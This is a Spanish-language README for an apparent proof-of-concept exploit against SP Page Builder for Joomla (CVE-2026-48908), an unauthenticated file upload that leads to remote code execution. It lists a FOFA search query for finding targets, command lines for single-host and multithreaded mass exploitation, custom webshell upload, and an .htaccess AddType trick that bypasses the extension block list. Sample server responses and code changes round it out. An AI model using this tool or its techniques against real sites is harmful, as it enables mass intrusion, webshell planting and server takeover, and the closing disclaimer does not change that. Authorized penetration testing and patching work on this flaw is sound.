CVE-2026-48908 — SP Page Builder RCE no autenticado

SP Page Builder (com_sppagebuilder) para Joomla ≤ 6.6.1 permite a atacantes no autenticados subir archivos arbitrarios y lograr Ejecución Remota de Código.

Consulta FOFA

body="com_sppagebuilder"

Uso

Requisitos

• Python 3.8+

pip install -r requirements.txt

Host individual

python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # solo sondear, sin comando
python3 exploit_poc.py https://target.example --token abc123   # token personalizado

Escaneo masivo

python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 hilos paralelos
python3 exploit_poc.py --hosts ips.txt --no-verbose             # modo silencioso

Webshell personalizada

python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Nota: Al usar --shell-file, el script solo sube la webshell e informa la URL. No ejecuta el comando -c ni realiza ninguna prueba de ejecución. La shell subida debe manejar la entrada de comandos de forma independiente.

Opciones

Demo

Escaneo masivo

Salida

Después de un escaneo, se guardan tres archivos de resultados:

Cómo funciona

El exploit abusa de la tarea asset.uploadCustomIcon de com_sppagebuilder:

1. Hace POST de un ZIP manipulado (paquete de fuentes de iconos) sin autenticación — no se requiere token CSRF.
2. SPPB extrae el ZIP en /media/com_sppagebuilder/assets/iconfont/<nombre>/fonts/.
3. El archivo PHP subido se sirve públicamente.

El script prueba múltiples extensiones PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) hasta encontrar una que se ejecute.

Bypass de htaccess

Cuando las extensiones PHP directas están bloqueadas por el filtro de SPPB, el script coloca un archivo .htaccess junto al payload:

AddType application/x-httpd-php .PHP

Esto obliga al servidor web a tratar .PHP (mayúsculas) como PHP — omitiendo la lista de bloqueo sensible a mayúsculas de SPPB. Requiere que AllowOverride esté habilitado y que la ejecución de PHP esté permitida en /media.

Nota: El bypass de .htaccess + .PHP en mayúsculas puede no funcionar en todas las configuraciones. Si falla, intente usar extensiones .png o .jpeg. En servidores con AllowOverride deshabilitado o ejecución de PHP bloqueada en /media, incluso las shells subidas no se ejecutarán (se reporta como "solo escritura").

Modificaciones

Este PoC está basado en https://github.com/papageo75/CVE-2026-48908-PoC/ con las siguientes adiciones:

1. Manejo de respuestas no JSON

Algunas respuestas del servidor pueden contener prefijos no JSON (por ejemplo, expresiones cron u otra basura) antes de la carga útil JSON real. El PoC original fallaba en r.json() al analizar dichas respuestas. Esta versión busca el primer carácter { e intenta decodificar la subcadena JSON:

Antes:

try:
    data = r.json()
except ValueError:
    return None

Después:

try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Ejemplo — respuesta JSON válida:

{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Ejemplo — respuesta no JSON (basura de prefijo antes del JSON):

cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Soporte para escaneo masivo

Se agregó capacidad de escaneo masivo multihilo:

• --hosts <archivo> — cargar objetivos desde un archivo (uno por línea)
• -j, --threads <n> — establecer número de hilos paralelos (por defecto: 10)
• --no-verbose — suprimir salida detallada por host
• Resultados agrupados y guardados en archivos .txt categorizados

3. Subida de webshell personalizada

Se agregó la opción --shell-file <ruta> para subir una webshell PHP personalizada en lugar de la shell protegida por token incorporada. Al usar esta opción:

• El script sube la shell sin ejecutar comandos -c
• No se realiza ninguna prueba de ejecución (run())
• Se prueban e informan todas las extensiones que funcionan
• Los resultados se guardan en custom_shell_hosts.txt

Descargo de responsabilidad

SOLO PARA USO AUTORIZADO. Únicamente para pruebas de penetración autorizadas, CTF y objetivos de laboratorio. Usted es el único responsable de cómo utiliza esta herramienta.